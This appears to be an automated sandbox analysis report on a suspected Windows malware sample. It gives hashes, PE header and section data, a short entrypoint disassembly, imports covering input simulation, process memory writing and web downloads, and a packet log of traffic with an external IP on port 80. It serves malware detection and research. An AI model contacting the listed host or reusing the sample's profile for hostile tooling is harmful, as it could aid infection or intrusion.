                                                        MD5:ecc3626c90741e76f4a9b213a9c029d8
                                                        SHA1:c704541fc27fb03537163e34f446184fe96446e0
                                                        SHA256:2595fd71dc9e2c7d172921cb43e0f38c67be16097399a185c77763178186c727
                                                        SHA512:3ffa4e1ecc887dbdd39d00aabd99fe4c6600e4ab5f3694f4a64f1340407e6f9a5ef67e58da3ba050d594d21f8d97eae0d36398bb8d58eee18cd820cb0f264c4c
                                                        SSDEEP:24576:KrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9Tvan1c:K2EYTb8atv1orq+pEiSDTj1VyvBa1
                                                        TLSH:3B357C4973A4419DFEABE1B6CA23C607D6B17C490276861F01A47B767F337712A2E321
                                                        File Content Preview:MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG.....>PG......PG......PG.....*PG.y8B..PG.y8C.:PG.y8D.#PG."(..#PG."(..*PG."(...PG.+PF..RG..9I.{PG..9D.*PG..9..*PG

                                                        File Icon

                                                        Icon Hash:0fd88dc89ea7861b

                                                        Static PE Info

                                                        General

                                                        Entrypoint:0x14002549c
                                                        Entrypoint Section:.text
                                                        Digitally signed:false
                                                        Imagebase:0x140000000
                                                        Subsystem:windows gui
                                                        Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                        DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                        Time Stamp:0x6751FBEB [Thu Dec 5 19:15:55 2024 UTC]
                                                        TLS Callbacks:
                                                        CLR (.Net) Version:
                                                        OS Version Major:5
                                                        OS Version Minor:2
                                                        File Version Major:5
                                                        File Version Minor:2
                                                        Subsystem Version Major:5
                                                        Subsystem Version Minor:2
                                                        Import Hash:fadc5a257419d2541a6b13dfb5e311e2

                                                        Entrypoint Preview

                                                        Instruction
                                                        dec eax
                                                        sub esp, 28h
                                                        call 00007FED0C8A8AC0h
                                                        dec eax
                                                        add esp, 28h
                                                        jmp 00007FED0C8A83CFh
                                                        int3
                                                        int3
                                                        inc eax
                                                        push ebx
                                                        dec eax
                                                        sub esp, 20h
                                                        dec eax
                                                        mov ebx, ecx
                                                        dec eax
                                                        mov eax, edx
                                                        dec eax
                                                        lea ecx, dword ptr [0009466Dh]
                                                        dec eax
                                                        mov dword ptr [ebx], ecx
                                                        dec eax
                                                        lea edx, dword ptr [ebx+08h]
                                                        xor ecx, ecx
                                                        dec eax
                                                        mov dword ptr [edx], ecx
                                                        dec eax
                                                        mov dword ptr [edx+08h], ecx
                                                        dec eax
                                                        lea ecx, dword ptr [eax+08h]
                                                        call 00007FED0C8A9FD9h
                                                        dec eax
                                                        lea eax, dword ptr [0009467Dh]
                                                        dec eax
                                                        mov dword ptr [ebx], eax
                                                        dec eax
                                                        mov eax, ebx
                                                        dec eax
                                                        add esp, 20h
                                                        pop ebx
                                                        ret
                                                        int3
                                                        dec eax
                                                        and dword ptr [ecx+10h], 00000000h
                                                        dec eax
                                                        lea eax, dword ptr [00094674h]
                                                        dec eax
                                                        mov dword ptr [ecx+08h], eax
                                                        dec eax
                                                        lea eax, dword ptr [00094659h]
                                                        dec eax
                                                        mov dword ptr [ecx], eax
                                                        dec eax
                                                        mov eax, ecx
                                                        ret
                                                        int3
                                                        int3
                                                        inc eax
                                                        push ebx
                                                        dec eax
                                                        sub esp, 20h
                                                        dec eax
                                                        mov ebx, ecx
                                                        dec eax
                                                        mov eax, edx
                                                        dec eax
                                                        lea ecx, dword ptr [0009460Dh]
                                                        dec eax
                                                        mov dword ptr [ebx], ecx
                                                        dec eax
                                                        lea edx, dword ptr [ebx+08h]
                                                        xor ecx, ecx
                                                        dec eax
                                                        mov dword ptr [edx], ecx
                                                        dec eax
                                                        mov dword ptr [edx+08h], ecx
                                                        dec eax
                                                        lea ecx, dword ptr [eax+08h]
                                                        call 00007FED0C8A9F79h
                                                        dec eax
                                                        lea eax, dword ptr [00094645h]
                                                        dec eax
                                                        mov dword ptr [ebx], eax
                                                        dec eax
                                                        mov eax, ebx
                                                        dec eax
                                                        add esp, 20h
                                                        pop ebx
                                                        ret
                                                        int3
                                                        dec eax
                                                        and dword ptr [ecx+10h], 00000000h
                                                        dec eax
                                                        lea eax, dword ptr [0009463Ch]
                                                        dec eax
                                                        mov dword ptr [ecx+08h], eax
                                                        dec eax
                                                        lea eax, dword ptr [00000021h]

                                                        Rich Headers

                                                        Programming Language:
                                                        • [ C ] VS2008 SP1 build 30729
                                                        • [IMP] VS2008 SP1 build 30729

                                                        Data Directories

                                                        NameVirtual AddressVirtual Size Is in Section
                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0xe5c100x17c.rdata
                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0xfb0000x140fc.rsrc
                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0xf40000x6f48.pdata
                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x1100000xa74.reloc
                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0xc70500x1c.rdata
                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_TLS0xd9aa00x28.rdata
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xc70700x100.rdata
                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IAT0xb50000x1138.rdata
                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                        Sections

                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                        .text0x10000xb33280xb3400507a8505198e35cc9675301d53e3b1c4False0.5503358721234309data6.5212967575920215IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                        .rdata0xb50000x342040x344009eda36be0cf076085a2f9772c1ee5803False0.30884139503588515data5.360588077813426IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .data0xea0000x91200x5000ec6b77d6ef8898b0d3b7d48c042d66a0False0.040673828125DOS executable (block device driver)0.5749243362866429IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .pdata0xf40000x6f480x70004416e27f8be9f9271c439d2fd34d1b2dFalse0.49612862723214285data5.911479421450324IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .rsrc0xfb0000x140fc0x14200a26c3965eaeaecca3e4f44cd2a4bd61fFalse0.19346855590062112data4.246152404519375IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .reloc0x1100000xa740xc005ddb0e422ace102fe530e589a0cbec6fFalse0.4850260416666667data5.139847116863034IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                        Resources

                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                        RT_ICON0xfb4580x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                        RT_ICON0xfb5800x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                        RT_ICON0xfb6a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                        RT_ICON0xfb7d00x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 60472 x 60472 px/mEnglishGreat Britain0.14468236129184905
                                                        RT_MENU0x10bff80x50dataEnglishGreat Britain0.9
                                                        RT_STRING0x10c0480x594dataEnglishGreat Britain0.3333333333333333
                                                        RT_STRING0x10c5dc0x68adataEnglishGreat Britain0.2735961768219833
                                                        RT_STRING0x10cc680x490dataEnglishGreat Britain0.3715753424657534
                                                        RT_STRING0x10d0f80x5fcdataEnglishGreat Britain0.3087467362924282
                                                        RT_STRING0x10d6f40x65cdataEnglishGreat Britain0.34336609336609336
                                                        RT_STRING0x10dd500x466dataEnglishGreat Britain0.3605683836589698
                                                        RT_STRING0x10e1b80x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                        RT_RCDATA0x10e3100x8d0data1.0048758865248226
                                                        RT_GROUP_ICON0x10ebe00x14dataEnglishGreat Britain1.25
                                                        RT_GROUP_ICON0x10ebf40x14dataEnglishGreat Britain1.25
                                                        RT_GROUP_ICON0x10ec080x14dataEnglishGreat Britain1.15
                                                        RT_GROUP_ICON0x10ec1c0x14dataEnglishGreat Britain1.25
                                                        RT_VERSION0x10ec300xdcdataEnglishGreat Britain0.6181818181818182
                                                        RT_MANIFEST0x10ed0c0x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                                        Imports

                                                        DLLImport
                                                        WSOCK32.dllgethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
                                                        VERSION.dllGetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
                                                        WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                        COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                                        MPR.dllWNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
                                                        WININET.dllHttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
                                                        PSAPI.DLLGetProcessMemoryInfo
                                                        IPHLPAPI.DLLIcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
                                                        USERENV.dllDestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
                                                        UxTheme.dllIsThemeActive
                                                        KERNEL32.dllWaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, GetFullPathNameW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, EnterCriticalSection, DuplicateHandle, GetStdHandle, CreatePipe, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetSystemTimeAsFileTime, CreateThread, GetCurrentProcess, GetCurrentThread, LeaveCriticalSection, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, SetLastError, TlsAlloc, ResetEvent, WaitForSingleObjectEx, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, CloseHandle, WriteConsoleW, MoveFileW, RtlCaptureContext
                                                        USER32.dllGetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetWindowLongW, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongPtrW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, SetWindowLongPtrW, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, IsCharUpperW, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, GetClipboardData, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, IsCharLowerW, IsCharAlphaNumericW, IsCharAlphaW, GetKeyboardLayoutNameW, ClientToScreen, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, SetMenuDefaultItem, CloseClipboard, GetWindowRect, SetUserObjectSecurity, IsClipboardFormatAvailable, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, OpenClipboard, GetWindowLongPtrW
                                                        GDI32.dllEndPath, DeleteObject, GetDeviceCaps, ExtCreatePen, StrokePath, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, GetTextExtentPoint32W, CreateCompatibleBitmap, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StretchBlt, SelectObject, CreateCompatibleDC, StrokeAndFillPath
                                                        COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                        ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegSetValueExW, GetSecurityDescriptorDacl, GetAclInformation, RegCreateKeyExW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW, GetUserNameW
                                                        SHELL32.dllDragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
                                                        ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
                                                        OLEAUT32.dllVariantChangeType, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, VariantTimeToSystemTime, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, VariantInit, VariantClear, VariantCopy, SysAllocString, SafeArrayCreateVector, VarR8FromDec, SafeArrayAllocDescriptorEx, SafeArrayAllocData, SysStringLen, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, SysReAllocString, SafeArrayAccessData

                                                        Possible Origin

                                                        Language of compilation systemCountry where language is spokenMap
                                                        EnglishGreat Britain

                                                        Network Behavior

                                                        Network Port Distribution

                                                        TCP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Dec 18, 2024 09:19:24.388005018 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:24.507788897 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:24.507972956 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:24.513730049 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:24.633227110 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.017857075 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.017869949 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.017880917 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.018002033 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.018013000 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.018021107 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.018023968 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.018034935 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.018040895 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.018047094 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.018085003 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.018106937 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.018261909 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.018273115 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.018311024 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.137584925 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.137882948 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.137999058 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.141786098 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.194032907 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.234127998 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.234311104 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.234376907 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.238342047 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.238373041 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.238430977 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.246644020 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.246860027 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.246908903 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.255121946 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.255181074 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.255245924 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.263453007 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.263576031 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.263644934 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.272042990 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.272059917 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.272109985 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.280318975 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.280337095 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.280392885 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.288711071 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.288727045 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.288904905 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.297908068 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.297920942 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.297976971 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.306809902 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.306823969 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.306868076 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.315035105 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.315047026 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.315099001 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.452306032 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.452446938 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.452538013 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.455065012 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.455077887 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.455130100 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.460607052 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.460621119 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.460664988 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.465984106 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.465997934 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.466041088 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.471303940 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.471327066 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.471379995 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.476771116 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.476908922 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.476953030 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.482348919 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.482414007 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.482462883 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.487799883 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.488102913 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.488158941 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.493175030 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.493304968 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.493350029 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.498610973 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.498625040 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.498676062 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.504285097 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.504304886 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.504340887 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.509593964 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.509835958 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.509917974 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.515434027 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.515446901 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.515492916 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.520880938 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.520894051 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.520936966 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.526545048 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.526557922 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.526597977 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.531472921 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.584603071 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.667869091 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.668010950 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.668068886 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.670113087 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.670172930 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.670219898 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.674640894 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.676309109 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.676366091 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.676470041 CET8049705139.99.188.124192.168.2.7
